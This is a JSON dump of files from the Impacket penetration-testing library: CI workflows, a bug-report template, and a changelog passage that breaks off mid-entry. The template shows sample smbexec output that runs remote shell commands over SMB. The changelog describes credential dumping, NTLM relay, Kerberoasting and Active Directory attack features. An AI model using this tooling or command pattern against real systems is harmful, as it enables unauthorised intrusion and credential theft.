[
  {
    "path": ".github/ISSUE_TEMPLATE/bug_report.md",
    "content": "---\nname: Bug report\nabout: Create a report to help us improve\ntitle: ''\nlabels: ''\nassignees: ''\n\n---\n\n### Configuration  \nimpacket version:  \nPython version:  \nTarget OS:  \n\n### Debug Output With Command String  \ni.e.  \nsmbexec -debug domain/user:password@127.0.0.1  \n```\nsmbexec -debug domain/user:password@127.0.0.1\n[+] StringBinding ncacn_np:127.0.0.1[\\pipe\\svcctl]\n[+] Executing %COMSPEC% /Q /c echo cd  ^> \\\\127.0.0.1\\C$\\__output 2^>^&1 > %TEMP%\\execute.bat & %COMSPEC% /Q /c %TEMP%\\execute.bat & del %TEMP%\\execute.bat\n[!] Launching semi-interactive shell - Careful what you execute\nC:\\Windows\\system32>net group\n[+] Executing %COMSPEC% /Q /c echo net group ^> \\\\127.0.0.1\\C$\\__output 2^>^&1 > %TEMP%\\execute.bat & %COMSPEC% /Q /c %TEMP%\\execute.bat & del %TEMP%\\execute.bat\nTraceback (most recent call last):\n  File \"/usr/lib64/python3.7/cmd.py\", line 214, in onecmd\n    func = getattr(self, 'do_' + cmd)\nAttributeError: 'RemoteShell' object has no attribute 'do_net'\n```\n\n### PCAP  \nIf applicable, add a packet capture to help explain your problem.\n\n### Additional context  \nSpace for additional context, investigative results, suspected issue.\n"
  },
  {
    "path": ".github/labeler.yml",
    "content": "# Rules to label Pull Requests\nversion: 1\nlabels:\n  - label: \"Examples\"\n    files:\n      - \"examples/.*\"\n  - label: \"Library\"\n    files:\n      - \"impacket/.*\"\n  - label: \"CI/CD & Tests\"\n    files:\n      - \"tests/.*\"\n      - \"tox.ini\"\n      - \"Dockerfile\"\n      - \".github/.*\"\n  - label: \"Setup\"\n    files:\n      - \"setup.py\"\n      - \"requirements*.txt\"\n      - \"MANIFEST.in\"\n  - label: \"Docs\"\n    files:\n      - \"*.md\"\n      - \"LICENSE\"\n"
  },
  {
    "path": ".github/workflows/build_and_test.yml",
    "content": "# GitHub Action workflow to build and run Impacket's tests\n#\n\nname: Build and test Impacket\n\non: [push, pull_request]\n\nenv:\n  DOCKER_TAG: impacket:latests\n\njobs:\n  lint:\n    name: Check syntax errors and warnings\n    runs-on: ubuntu-latest\n    if:\n      github.event_name == 'push' || github.event.pull_request.head.repo.full_name !=\n      github.repository\n\n    steps:\n      - name: Checkout Impacket\n        uses: actions/checkout@v3\n\n      - name: Setup Python 3.8\n        uses: actions/setup-python@v4\n        with:\n          python-version: 3.8\n\n      - name: Install Python dependencies\n        run: |\n          python -m pip install flake8\n\n      - name: Check syntax errors\n        run: |\n          flake8 . --count --select=E9,F63,F7,F82 --show-source --statistics\n\n      - name: Check PEP8 warnings\n        run: |\n          flake8 . --count --ignore=E1,E2,E3,E501,W291,W293 --exit-zero --max-complexity=65 --max-line-length=127 --statistics\n\n  test:\n    name: Run unit tests and build wheel\n    needs: lint\n    runs-on: ${{ matrix.os }}\n    if:\n      github.event_name == 'push' || github.event.pull_request.head.repo.full_name !=\n      github.repository\n\n    strategy:\n      fail-fast: false\n      matrix:\n        python-version: [\"3.9\", \"3.10\",\"3.11\",\"3.12\"]\n        experimental: [false]\n        os: [ubuntu-latest]\n        include:\n          - python-version: \"3.13-dev\"\n            experimental: true\n            os: ubuntu-latest\n    continue-on-error: ${{ matrix.experimental }}\n\n    steps:\n      - name: Checkout Impacket\n        uses: actions/checkout@v3\n\n      - name: Setup Python ${{ matrix.python-version }}\n        uses: actions/setup-python@v4\n        with:\n          python-version: ${{ matrix.python-version }}\n\n      - name: Install Python dependencies\n        run: |\n          python -m pip install --upgrade pip wheel\n          python -m pip install tox tox-gh-actions -r requirements.txt -r requirements-test.txt\n\n      - name: Run unit tests\n        run: |\n          tox -- -m 'not remote'\n\n      - name: Build wheel artifact\n        run: |\n          python setup.py bdist_wheel\n\n  docker:\n    name: Build docker image\n    needs: lint\n    runs-on: ubuntu-latest\n    if:\n      github.event_name == 'push' || github.event.pull_request.head.repo.full_name !=\n      github.repository\n\n    continue-on-error: true\n    steps:\n      - name: Checkout Impacket\n        uses: actions/checkout@v3\n\n      - name: Build docker image\n        run: |\n          docker build -t ${{ env.DOCKER_TAG }} .\n"
  },
  {
    "path": ".github/workflows/labeler.yml",
    "content": "# GitHub Action workflow to label Pull Requests\n#\n\nname: Label PRs\n\non:\n  - pull_request\n\njobs:\n  build:\n    runs-on: ubuntu-latest\n    steps:\n      - uses: srvaroa/labeler@master\n        env:\n          GITHUB_TOKEN: \"${{ secrets.GITHUB_TOKEN }}\"\n"
  },
  {
    "path": ".gitignore",
    "content": "# Byte-compiled / optimized / DLL files\n__pycache__/\n*.py[cod]\n\n# C extensions\n*.so\n\n# Distribution / packaging\n.Python\nenv/\nvenv/\n.env/\n.venv/\nbuild/\ndevelop-eggs/\ndist/\ndownloads/\neggs/\n.eggs/\nlib/\nlib64/\nparts/\nsdist/\nvar/\n*.egg-info/\n.installed.cfg\n*.egg\n\nPipfile\nPipfile.lock\n\n# PyInstaller\n#  Usually these files are written by a python script from a template\n#  before PyInstaller builds the exe, so as to inject date/other infos into it.\n*.manifest\n*.spec\n\n# Installer logs\npip-log.txt\npip-delete-this-directory.txt\n\n# Unit test / coverage reports\nhtmlcov/\n.tox/\n.coverage\n.coverage.*\n.cache\nnosetests.xml\ncoverage.xml\n*,cover\n\n# bak files\n*.bak\n\n# Translations\n*.mo\n*.pot\n\n# Django stuff:\n*.log\n\n# Sphinx documentation\ndocs/_build/\n\n# PyBuilder\ntarget/\n\n# macOS\n.DS_Store\n\n# PyCharm\n.idea\n\n# Test cases configuration\ntests/dcetests.cfg"
  },
  {
    "path": "ChangeLog.md",
    "content": "# ChangeLog\n\nProject owner's main page is at www.coresecurity.com.\n\nComplete list of changes can be found at:\nhttps://github.com/fortra/impacket/commits/master\n\n## Impacket v0.13.0 (Oct 2025): \n\n1. Library improvements \n\n    * Major SMB client/server refactor adds setInfo support, CIFS datetime helpers, and safer default share access to enable remote attribute and timestamp management. (@covertivy) \n\n    * Introduced per-structure encoding selectors and UTF-8-aware SMB structures so non-Latin resource names round-trip correctly. (@alexisbalbachan) \n\n    * Strengthened LDAP/Kerberos handling with channel binding plus signing, schema alignment with ldap3, and LDAPS-based LAPS retrieval against Windows Server 2025 DCs. (@zblurx, @alexisbalbachan, @Ibrahim8879) \n\n    * Improved DCE/RPC coverage with Netlogon authenticator fixes, updated DRS bind flags, expanded EVEN6 decoding, and a new ICPR interface to support relay-aware RPC workflows. (@ThePirateWhoSmellsOfSunflowers, @h3-josh-the-engineer, @NtAlexio2, @rtpt-romankarwacik) \n\n    * Corrected SMB negotiation edge cases by fixing response padding, Unicode pipe lookups, and keyboard interrupts in SMB servers. (@rtpt-erikgeiser, @Abyss-emmm, @exploide) \n\n    * SMB Server enhancements to align Impacket's implementation with standard (@jborean93) \n\n  \n\n2. Authentication & relay tooling \n\n    * Added WinRMS relay clients/servers. (@Defte_) \n\n    * Improved IPv6 support, richer logging, and consistent console status reporting, plus an identity log to track compromised principals ( @gabrielg5) \n\n    * Introduced an RPC relay server with Endpoint Mapper discovery . (@rtpt-romankarwacik) \n\n    * Delivered SCCM Management/Distribution Point relay attacks. (@q-roland) \n\n    * Enhanced shadow credentials, SOCKS plugins, and target rotation with better IPv6 awareness and stability. (@anadrianmanrique, @gabrielg5) \n\n    * Added options to strip SSP from Net-NTLMv1 captures and write relay-captured hashes for cracking workflows. (@TurtleARM, @p0rtL6) \n\n     \n\n3. Examples improvements \n\n    * secretsdump.py gained a WMI shadow snapshot path, export hive boot key recovery, safer DRS flags, user-status reporting, and refined NTDS parsing. (@PeterGabaldon, @MaxToffy, @h3-josh-the-engineer, @Markb1337, @snovvcrash) \n\n    * MSSQL tooling gained channel binding tokens, restored reliable connections, richer linked-server file transfers, and inline command execution. (@Defte_, @rtpt-romankarwacik, @trietend, @kiriknik, @Signum21) \n\n    * Directory ACL helpers (`dacledit`, `owneredit`, `rbcd`, `ldapshell`) picked up mask selection, safer queries, and consistent `-dc-host` handling. (@dadevel, @shellinvictus, @Fabrizzio53, @ICheer_No0M, @gabrielg5) \n\n    * SMB operator utilities add reconnect and autocomplete options in smbclient and prevent smbexec from hanging on completion. (@daddycocoaman, @trietend, @Vincent550102) \n\n    * Remote access helpers such as rdp_check and wmiexec now support IPv6 targets and display created Process IDs for easier triage. (@gabrielg5, @alexisbalbachan) \n\n  \n\n4. New examples \n\n    * [attrib.py](examples/attrib.py) manipulates file attributes over SMB to showcase the new setInfo workflow. (@covertivy) \n\n    * [filetime.py](examples/filetime.py) inspects and updates SMB file timestamps using the refreshed SMBConnection APIs. (@covertivy) \n\n    * [badsuccessor.py](examples/badsuccessor.py) demonstrates the AD CS “bad successor” attack path. (@fulc2um) \n\n    * [regsecrets.py](examples/regsecrets.py) extracts LSA secrets from remote registry hives through [MS-RRP]. (@laxaa, @laxa) \n\n    * [samedit.py](examples/samedit.py) edits local SAM password hashes offline. (@iorpim) \n\n    * [CheckLDAPStatus.py](examples/CheckLDAPStatus.py) checks LDAP signing status and LDAPS channel binding status. (@zblurx) \n\n \n\n  \n\n5. Project & packaging \n\n    * Added the `impacket.mssql` namespace, relaxed the pyOpenSSL pin, and declared Python 3.13 support while dropping 3.8. (@anadrianmanrique, @Defte_) \n\n    * Replaced pkg_resources with importlib.metadata for lightweight version discovery. (@AdrianVollmer) \n\n  \n\n6. Contributors \n\nAs always, thanks a lot to all these contributors that make this library better every day (up to now):\n   \n@Abyss-emmm, @AdrianVollmer, @NeffIsBack, @NtAlexio2, @rtpt-alexanderneumann, @asareynolds, @dadevel, @TurtleARM, @Defte_, @rtpt-erikgeiser, @Fabrizzio53, @fluffy-kaiju, @gabrielg5, @ICheer_No0M, @exploide, @jborean93, @nitbx, @laxaa, @daddycocoaman, @lucas0817, @Markb1337, @MaxToffy, @Ibrahim8879, @Narmjep, @NuclearFizzler, @iorpim, @CipherCloak, @PeterGabaldon, @b1two, @covertivy, @rtpt-romankarwacik, @ryanq47, @SAERXCIT, @Signum21, @ThePirateWhoSmellsOfSunflowers, @Vincent550102, @anadrianmanrique, @alexisbalbachan, @d0gkiller87, @Ridter, @fulc2um, @gjhami, @h3-josh-the-engineer, @kiriknik, @marcobarlottini, @p0rtL6, @q-roland, @shellinvictus, @trietend, @zblurx. \n\n \n\n## Impacket v0.12.0 (Sep 2024):\n1. Library improvements\n    * Fixed broken hRSetServiceObjectSecurity method (@rkivys)\n    * Removed dsinternals dependency (@anadrianmanrique)\n    * Fixed srvs.hNetrShareEnum returning erronous shares (@cnotin)\n    * Fixed lmhash computing to support non standard characters in the password (@anadrianmanrique)\n    * Assorted fixes when processing Unicode data (@alexisbalbachan)\n    * Added `[MS-GKDI]` Group Key Distribution Protocol implementation (@zblurx)\n    * Fixed incorrect padding in SMBSessionSetupAndX_Extended_ResponseData (@rtpt-erikgeiser)\n    * Upgraded dependency pyreadline -> pyreadline3 (@anadrianmanrique)\n    * SMB Server:\n    \t* Added query information level 0x0109 for smb1 \"SMB_QUERY_FILE_STREAM_INFO\" (@Adamkadaban)\n    \t* Fixed filename encoding in queryPathInformation (@JerAxxxxxxx)\n    \t* Fixed NextEntryOffset for large directory listings (@robnanola)\n     \t* Fixed server returning an empty folder when cutting and pasting recursive directories (@robnanola)\n    * DHCP: Fixed encoding issues (@ujwalkomarla)\n\n3. Examples improvements\n    * [secretsdump.py](examples/secretsdump.py):\n        * Double DC Sync performance for DCs supporting SID lookups (@tomspencer)\n        * Added ability to skip dumping of SAM or SECURITY hives when performing remote operations (@RazzburyPi)\n        * Added ability to specify users to skip when dumping NTDS (@RazzburyPi)\n    * [ticketer.py](examples/ticketer.py):\n        * Support to create Sapphire tickets (@ShutdownRepo)\n    * [GetUserSPNs.py](examples/GetUserSPNs.py), [getTGT.py](examples/getTGT.py):\n        * Support for Kerberoasting without pre-authentication and ST request through AS-REQ (@ShutdownRepo)\n    * [wmiexec.py](examples/wmiexec.py):\n        * Fix kerberos with remoteHost & add '-target-ip'(@XiaoliChan)\n    * [ntlmrelayx.py](examples/ntlmrelayx.py):\n        * Added the creation of a new machine account through SMB (@BlWasp)\n        * NTLMRelayX Multirelay fixes for target handling, added --keep-relaying flag (@alexisbalbachan)\n        * Logging multirelay status when triggering the example (@gabrielg5)\n        * Write certificates to file rather than outputting b64 to console (@RazzburyPi)\n        * Improved ability to continue relaying to ADCS web enrollment endpoint in order to request multiple certificates for different users (@RazzburyPi)\n        * Fixed compatibility issue with other SMB clients connecting to the SOCKS proxy created by ntlmrelayx (@jfjallid)\n        * Allow configuration of the SOCKS5 address and port (@rtpt-erikgeiser)\n        * Fixed implementation of MSSQLShell (@gabrielg5)\n        * Logging notification of received connections in all relay servers (@gabrielg5)\n        * Add domain and username to interactive Ldap shell message (@minniear)\n        * Enhanced MSSQLShell in NTLMRelayX leveraging TcpShell & output messages (@gabrielg5)\n        * LDAP Attack: Bugfixes when parsing responses (@SAERXCIT)\n    * [getST.py](examples/getST.py):\n        * Added -self, -altservice and -u2u  for S4U2self abuse, S4U2self+u2u, and service substitution (@ShutdownRepo)\n        * Added ability to set the RENEW ticket option to renew a TGT (@shikatano)\n        * Fixed unicode encoding error when using the -impersonate flag (@alexisbalbachan)\n    * [getTGT.py](examples/getTGT.py):\n        * Added principalType as new parameter (@DevSpork)\n    * [reg.py](examples/reg.py):\n        * Start remote registry as unprivileged user in reg.py (@dadevel)\n        * Allow adding Binary values (@dc3l1ne)\n        * Add missing Null byte for REG_SZ values (@PfiatDe)\n        * Support for adding REG_MULTI_SZ values through (@garbrielg5)\n    * [smbclient.py](examples/smbclient.py):\n    \t* Added ability to provide an output file that the smbclient mini shell will write commands and output to (@RazzburyPi)\n     \t* Fixed path parse issue when running `tree` command (@trietend)\n    * [smbserver.py](examples/smbserver.py):\n        * Added parameter \"-outputfile\" to set smbserver log file(gabrielg5) \n    * [DumpNTLMInfo.py](examples/DumpNTLMInfo.py):\n    \t* Allow execution on non-default ports (@jeffmcjunkin)\n     \t* Fixed KeyError exception when running with a Windows 2003 target (@XiaoliChan)\n    * [findDelegation.py](examples/findDelegation.py):\n    \t* Added new column to show if SPN exists (@p0dalirius)\n    * [mssqlclient.py](examples/mssqlclient.py):\n     \t* Added `-target-ip` parameter to allow Kerberos authentication without much change in the DNS configuration of the local machine (@Palkovsky)\n    * [mssqlshell.py](examples/mssqlshell.py):\n    \t* Switching back to original DB after running `enum_impersonate` command (@exploide)\n        * Fixed logging in printReplies showing error messages (@gabrielg5)\n    * [registry-read.py](examples/registry-read.py):\n     \t* Fixed scenario where value name contains backlash (@DidierA)\n    * [net.py](examples/net.py):\n     \t* Fixed User \"Account Active\" property value (@marcobarlottini)\n        * Fixed log messages printing variables in the wrong order (@Cyb3rC3lt) \n    * [rbcd.py](examples/rbcd.py):\n        * Handled SID not found in LDAP error (@ShutdownRepo)\n    * [GetUserSPNs.py](examples/GetUserSPNs.py):\n    \t* Updated the help information for -outputfile to be consistent with -save (@scarvell)\n    * [ntfs-read.py](examples/ntfs-read.py):\n        * Minor refactor in ntfs-read.py to make it more human-readable (@NtAlexio2)\n    * [ldap_shell.py](examples/ldap_shell.py):\n        * Added support for dirsync and whoami commands (@nurfed1)\n    * [lookupsid.py](examples/lookupsid.py):\n        * Now supports kerberos auth (@A1vinSmith)\n    * [samrdump.py](examples/samrdump.py):\n        * Will fetch AdminComment using MSRPC (@joeldeleep)\n    * [tstool.py](examples/tstool.py):\n        * Added support for kerberos auth, resolves SIDs (@nopernik) \n  \n4. New examples\n    * [describeTicket.py](examples/describeTicket.py): Ticket describer and decrypter. (@ShutdownRepo)\n    * [GetADComputers.py](examples/GetADComputers.py): Query's DC via LDAP and returns the COMPUTER objects and the useful attributes such as full dns name, operating system name and version. (@F-Masood)\n    * [GetLAPSPassword.py](examples/GetLAPSPassword.py): Extract LAPS passwords from LDAP (@zblurx and @dru1d-foofus)\n    * [dacledit.py](examples/dacledit.py): This script can be used to read, write, remove, backup, restore ACEs (Access Control Entries) in an object DACL (Discretionary Access Control List). (@ShutdownRepo) (@BlWasp_) (@Wlayzz)\n    * [owneredit.py](examples/owneredit.py): Added this script to abuse WriteOwner (ADS_RIGHT_WRITE_OWNER) access rights. This allows to take ownership of another object, and then edit that object's DACL (@ShutdownRepo) (@BlWasp_)\n\nAs always, thanks a lot to all these contributors that make this library better every day (up to now):\n\n@tomspencer @anadrianmanrique @ShutdownRepo @dadevel @gjhami @NtAlexio2 @F-Masood @BlWasp @gabrielg5 @XiaoliChan @omry99 @Wlayzz @themaks @alexisbalbachan @RazzburyPi @jeffmcjunkin @p0dalirius @dc3l1ne @jfjallid @Palkovsky @rtpt-erikgeiser @trietend @zblurx @dru1d-foofus @PfiatDe @DidierA @marcobarlottini @PeterGabaldon @m8r1us @5yn @tzuralon @Adamkadaban @scarvell @JerAxxxxxxx @ujwalkomarla @robnanola @SAERXCIT @nurfed1 @A1vinSmith @joeldeleep @nopernik\n\n\t  \n## Impacket v0.11.0 (Aug 2023):\n1. Library improvements \n    * Added new Kerberos error codes (@ly4k).\n\t* Added `[MS-TSTS]` Terminal Services Terminal Server Runtime Interface Protocol implementation (@nopernik).\n    * Changed the setting up for new SSL connections (@mpgn, @CT-H00K and @0xdeaddood).\n    * Added a callback function to smbserver for incoming authentications (@p0dalirius).\n    * Fix crash in winregistry (@laxa)\n    * Fixes in IDispatch derived classes in comev implementation (@NtAlexio2)\n    * Fix CVE-2020-17049 in ccache.py (@godylockz)\n    * Smbserver: Added SMB2_FILE_ALLOCATION_INFO type determination (@JerAxxxxxxx)\n    * tds: Fixed python3 incompatibility when receiving over TLS socket (@exploide)\n    * crypto: Ensure passwords are utf-8 encoded before deriving Kerberos keys (@jojonas)\n    * ese: Fixed python3 incompatibility when reading from db (@alexisbalbachan)\n    * ldap queries: Escaped characters are now correctly parsed (@alexisbalbachan)\n    * Support SASL authentication in ldap protocol (@NtAlexio2)\n\n2. Examples improvements\n    * [GetADUsers.py](examples/GetADUsers.py), [GetNPUsers.py](examples/GetNPUsers.py), [GetUserSPNs.py](examples/GetUserSPNs.py) and [findDelegation.py](examples/findDelegation.py):\n      * Added dc-host option to connect to specific KDC using its FQDN or NetBIOS name (@rmaksimov and @0xdeaddood).\n    * [GetNPUsers.py](examples/GetNPUsers.py)\n      * Printing TGT in stdout despite -outputfile parameter (@alexisbalbachan and @Zamanry)\n      * Fixed output hash format for AES128/256 (etype 17/18) (@erasmusc)\n    * [GetUserSPNs.py](examples/GetUserSPNs.py):\n      * Added LDAP paged search (@ThePirateWhoSmellsOfSunflowers and @SAERXCIT).\n      * Added a -stealth flag to remove the SPN filter from the LDAP query (@clavoillotte).\n      * Improved searchFilter (@ShutdownRepo)\n      * Use LDAP paged search (@ThePirateWhoSmellsOfSunflowers)\n    * [psexec.py](examples/psexec.py):\n      * Added support for name customization using a custom binary file (@Dramelac).\n    * [smbexec.py](examples/smbexec.py):\n      * Security fixes for privilege escalation vulnerabilities (@bugch3ck).\n      * Fixed python3 compatibility issues, added workaround TCP over NetBIOS being disabled (@ljrk0)\n    * [secretsdump.py](examples/secretsdump.py):\n      * Added a new option to extract only NTDS.DIT data for specific users based on an LDAP filter (@snovvcrash).\n      * Security fixes for privilege escalation vulnerabilities (@bugch3ck).  \n    * [mssqlclient.py](examples/mssqlclient.py):\n      * Added multiple new commands. Now supports xp_dirtree execution (@Mayfly277, @trietend and @TurtleARM).\n    * [ntlmrelayx.py](examples/ntlmrelayx.py):\n      * Added ability to trigger SQLShell when running ntlmrelayx in interactive mode (@sploutchy).\n      * Added filter option to the socks command in ntlmrelayx CLI (@shoxxdj)\n      * Added ability to register DNS records through LDAP.\n    * [addcomputer.py](examples/addcomputer.py), [rbcd.py](examples/rbcd.py):\n      * Allow weak TLS ciphers for LDAP connections (@AdrianVollmer)\n    * [Get-GPPPassword.py](examples/Get-GPPPassword.py):\n      * Better handling of various XML files in Group Policy Preferences (@p0dalirius)\n    * [smbclient.py](examples/smbclient.py):\n      * Added recursive file listing (@Sq00ky)\n    * [ticketer.py](examples/ticketer.py):\n      * Ticket duration is now specified in hours instead of days (@Dramelac)\n      * Added extra-pac implementation (@Dramelac)\n\n3. New examples\n    * [net.py](examples/net.py) Implementation of windows net.exe builtin tool (@NtAlexio2)\n    * [changepasswd.py](examples/changepasswd.py) New example that allows password changing or reseting through multiple protocols (@Alef-Burzmali, @snovvcrash, @bransh, @api0cradle and @p0dalirius)\n    * [DumpNTLMInfo.py](examples/DumpNTLMInfo.py) New example that dumps remote host information in ntlm authentication model, without credentials. For SMB protocols v1, v2 and v3. (@NtAlexio2)\n    \nAs always, thanks a lot to all these contributors that make this library better every day (up to now):\n\n@ly4k @nopernik @snovvcrash @ShutdownRepo @kiwids0220 @mpgn @CT-H00K @rmaksimov @arossert @aevy-syn @tirkarthi @p0dalirius @Dramelac @Mayfly277 @S3cur3Th1sSh1t @nobbd @AdrianVollmer @trietend @TurtleARM @ThePirateWhoSmellsOfSunflowers @SAERXCIT @clavoillotte @Marshall-Hallenbeck @sploutchy @almandin @rtpt-alexanderneumann @JerAxxxxxxx @NtAlexio2 @laxa @godylockz @exploide @jojonas @Zamanry @erasmusc @bugch3ck @ljrk0 @Sq00ky @shoxxdj @Alef-Burzmali @bransh @api0cradle @alexisbalbachan @0xdeaddood @NtAlexio2 @sanmopre\n\n\n## Impacket v0.10.0 (May 2022):\n\n1. Library improvements \n    * Dropped support for Python 2.7.\n    * Refactored the testing infrastructure (@martingalloar):\n      * Added `pytest` as the testing framework to organize and mark test\n        cases. `Tox` remain as the automation framework, and `Coverage.py`\n        for measuring code coverage.\n      * Custom bash scripts were replaced with test cases auto-discovery.\n      * Local and remote test cases were marked for easy run and configuration. \n      * DCE/RPC endpoint test cases were refactored and moved to a new layout. \n      * An initial testing guide with the main steps to prepare a testing environment and run them. \n      * Fixed a good amount of DCE/RPC endpoint test cases that were failing. \n      * Added tests for `[MS-PAR]`, `[MS-RPRN]`, CCache and DPAPI.\n    * Added a function to compute the Netlogon Authenticator at client-side in `[MS-NRPC]` (@0xdeaddood)\n    * Added `[MS-DSSP]` protocol implementation (@simondotsh)\n    * Added GetDriverDirectory functions to `[MS-PAR]` and `[MS-RPRN]` (@raithedavion)\n    * Refactored the Credential Cache:\n\t  * Added new parseFile function to ccache.py (@rmaksimov)\n\t  * Added support for loading CCache Version 3 (@reznok)\n\t  * Modified fromKRBCRED function used to load a Kirbi file (@0xdeaddood)\n\t  * Fixed Ccache to Kirbi conversion (@ShutdownRepo)\n\t* Fixed default NTLM server challenge in smbserver (@rtpt-jonaslieb)\n\n2. Examples improvements\n\t* [exchanger.py](examples/exchanger.py):\n\t  * Fixed a bug when a Global Address List doesn't exist on the server (@mohemiv)\n\t* [mimikatz.py](examples/mimikatz.py)\n\t  * Updated intro to not trigger the AV on windows (@mpgn)\n\t* [ntlmrelayx.py](examples/ntlmrelayx.py):\n\t  * Implemented RAW Relay Server (@CCob)\n\t  * Added an LDAP attack dumping information about the domain's ADCS enrollment services (@SAERXCIT)\n      * Added multi-relay feature to the HTTP Relay Server. Now one incoming HTTP connection could be \n        used against multiple targets (@0xdeaddood)\n      * Added an option to disable the multi-relay feature (@zblurx and @0xdeaddood)\n      * Added multiple HTTP listeners running at the same time (@SAERXCIT)\n      * Support for the ADCS ESC1 and ESC6 attacks (@hugo-syn)\n      * Added Shadow Credentials attack (@ShutdownRepo, @Tw1sm, @nodauf and @p0dalirius)\n      * Added the ability to define a password for the LDAP attack addComputer (@ShutdownRepo)\n      * Added rename_computer and modify add_computer in LDAP interactive shell (@capnkrunchy)\n      * Implemented StartTLS (@ThePirateWhoSmellsOfSunflowers)\n    * [reg.py](examples/reg.py):\n      * Added save function to allow remote saving of registry hives (@ShutdownRepo and @scopedsecurity)\n    * [secretsdump.py](examples/secretsdump.py):\n      * Added an option to dump credentials using the Kerberos Key List attack (@0xdeaddood)\n    * [smbpasswd.py](examples/smbpasswd.py):\n      * Added an option to force credentials change via injecting new values into SAM (@snovvcrash and @alefburzmali)\n3. New examples\n\t* [machine_role.py](examples/machine_role.py): This script retrieves a host's role along with its \n\t  primary domain details (@simondotsh)\n    * [keylistattack.py](examples/keylistattack.py): This example implements the Kerberos Key List\n      attack to dump credentials abusing RODCs and Azure AD Kerberos Servers (@0xdeaddood)\n\nAs always, thanks a lot to all these contributors that make this library better every day (since last version):\n\n@rmaksimov @simondotsh @CCob @raithedavion @SAERXCIT @Maltemo @dirkjanm @reznok @ShutdownRepo @scopedsecurity @Tw1sm @nodauf @p0dalirius @zblurx @hugo-syn @capnkrunchy @mohemiv @mpgn @rtpt-jonaslieb @snovvcrash @alefburzmali @ThePirateWhoSmellsOfSunflowers @jlvcm\n\n## Impacket v0.9.24 (October 2021):\n\n1. Library improvements \n\t* Fixed WMI objects parsing (@franferrax)\n\t* Added the RpcAddPrinterDriverEx method and related structures to `[MS-RPRN]`: Print System Remote Protocol (@cube0x0)\n\t* Initial implementation of `[MS-PAR]`: Print System Asynchronous Remote Protocol (@cube0x0)\n\t* Complying `[MS-RPCH]` with HTTP/1.1 (@mohemiv) \n\t* Added return of server time in case of Kerberos error (@ShutdownRepo and @Hackndo)\n\n2. Examples improvements\n\t* [getST.py](examples/getST.py):\n\t   * Added support for a custom additional ticket for S4U2Proxy (@ShutdownRepo)\n\t* [ntlmrelayx.py](examples/ntlmrelayx.py):\n\t   * Added Negotiate authentication support to the HTTP server (@LZD-TMoreggia) \n\t   * Added anonymous session handling in the HTTP server (@0xdeaddood)\n\t   * Fixed error in ldapattack.py when trying to escalate with machine account (@Rcarnus) \n\t   * Added the implementation of AD CS attack (@ExAndroidDev)\n\t   * Disabled the anonymous logon in the SMB server (@ly4k)\n\t* [psexec.py](examples/psexec.py):\n\t   * Fixed decoding problems on multi bytes characters (@p0dalirius)\n\t* [reg.py](examples/reg.py):\n\t   * Implemented ADD and DELETE functionalities (@Gifts) \n\t* [secretsdump.py](examples/secretsdump.py):\n\t   * Speeding up NTDS parsing (@skelsec)\n\t* [smbclient.py](examples/smbclient.py):\n\t   * Added 'mget' command which allows the download of multiple files (@deadjakk)\n\t   * Handling empty search count in FindFileBothDirectoryInfo (@martingalloar)\n\t* [smbpasswd.py](examples/smbpasswd.py):\n\t   * Added the ability to change a user's password providing NTLM hashes (@snovvcrash)\n\t* [smbserver.py](examples/smbserver.py): \n\t   * Added NULL SMBv2 client connection handling (@0xdeaddood)\n\t   * Hardened path checks and Added TID checks (@martingalloar)\n\t   * Added SMB2 support to QUERY_INFO Request and Enabled SMB_COM_FLUSH method (@0xdeaddood)\n\t   * Added missing constant and structure for the QUERY_FS Information Level SMB_QUERY_FS_DEVICE_INFO (@martingalloar)  \n\t* [wmipersist.py](examples/wmipersist.py):\n\t   * Fixed VBA script execution and improved error checking (@franferrax)\n\n3. New examples\n\t* [rbcd.py](examples/rbcd.py): Example script for handling the msDS-AllowedToActOnBehalfOfOtherIdentity property of a target computer (@ShutdownRepo and @p0dalirius) (based on the previous work of @tothi and @NinjaStyle82)\n\nAs always, thanks a lot to all these contributors that make this library better every day (since last version):\n\n@deadjakk @franferrax @cube0x0 @w0rmh013 @skelsec @mohemiv @LZD-TMoreggia @exploide @ShutdownRepo @Hackndo @snovvcrash @rmaksimov @Gifts @Rcarnus @ExAndroidDev @ly4k @p0dalirius\n\n\n## Impacket v0.9.23 (June 2021):\n\n1. Library improvements \n\t* Support connect timeout with SMBTransport (@vruello)\n\t* Speeding up DcSync (@mohemiv)\n\t* Fixed Python3 issue when serving SOCKS5 requests (@agsolino) \n\t* Moved docker container to Python 3.8 (@mgallo) \n\t* Added basic GitHub Actions workflow (@mgallo)  \n\t* Fixed Path Traversal vulnerabilities in `smbserver.py` - CVE-2021-31800 (@omriinbar AppSec Researcher at CheckMarx) \n\t* Fixed POST request processing in `httprelayserver.py` (@Rcarnus) \n\t* Added cat command to `smbclient.py` (@mxrch) \n\t* Added new features to the LDAP Interactive Shell to facilitate AD exploitation (@AdamCrosser) \n\t* Python 3.9 support (@meeuw and @cclauss) \n\n2. Examples improvements\n\t* [addcomputer.py](examples/addcomputer.py):  \n\t   * Enable the machine account created via SAMR (@0xdeaddood) \n\t* [getST.py](examples/getST.py):  \n\t   * Added exploit for CVE-2020-17049 - Kerberos Bronze Bit attack (@jakekarnes42) \n\t   * Compute NTHash and AESKey for the Bronze Bit attack automatically (@snovvcrash) \n\t* [ntlmrelayx.py](examples/ntlmrelayx.py): \n\t   * Fixed target parsing error (@0xdeaddood) \n\t* [wmipersist.py](examples/wmipersist.py):  \n\t   * Fixed `filterBinding` error (@franferrax) \n\t   * Added PowerShell option for semi-interactive shells in `dcomexec.py`, `smbexec.py`\n         and `wmiexec.py` (@snovvcrash) \n\t   * Added new parameter to select `COMVERSION` in `dcomexec.py`, `wmiexec.py`,\n         `wmipersist.py` and `wmiquery.py` (@zexusx26) \n\n3. New examples \n\t* [Get-GPPPassword.py](examples/Get-GPPPassword.py): This example extracts and decrypts\n      Group Policy Preferences passwords using streams for treating files instead of mounting\n      shares. Additionally, it can parse GPP XML files offline (@ShutdownRepo and @p0dalirius) \n\t* [smbpasswd.py](examples/smbpasswd.py): This script is an alternative to `smbpasswd` tool and\n      intended to be used for changing expired passwords remotely over SMB (MSRPC-SAMR) (@snovvcrash) \n\nAs always, thanks a lot to all these contributors that make this library better every day (since last version): \n\n@mpgn @vruello @mohemiv @jagotu @jakekarnes42 @snovvcrash @zexusx26 @omriinbar @Rcarnus @nuschpl @mxrch @ShutdownRepo @p0dalirius @AdamCrosser @franferrax @meeuw and @cclauss \n\n\n## Impacket v0.9.22 (November 2020):\n\n1. Library improvements\n    * Added implementation of RPC over HTTP v2 protocol (by @mohemiv).\n    * Added 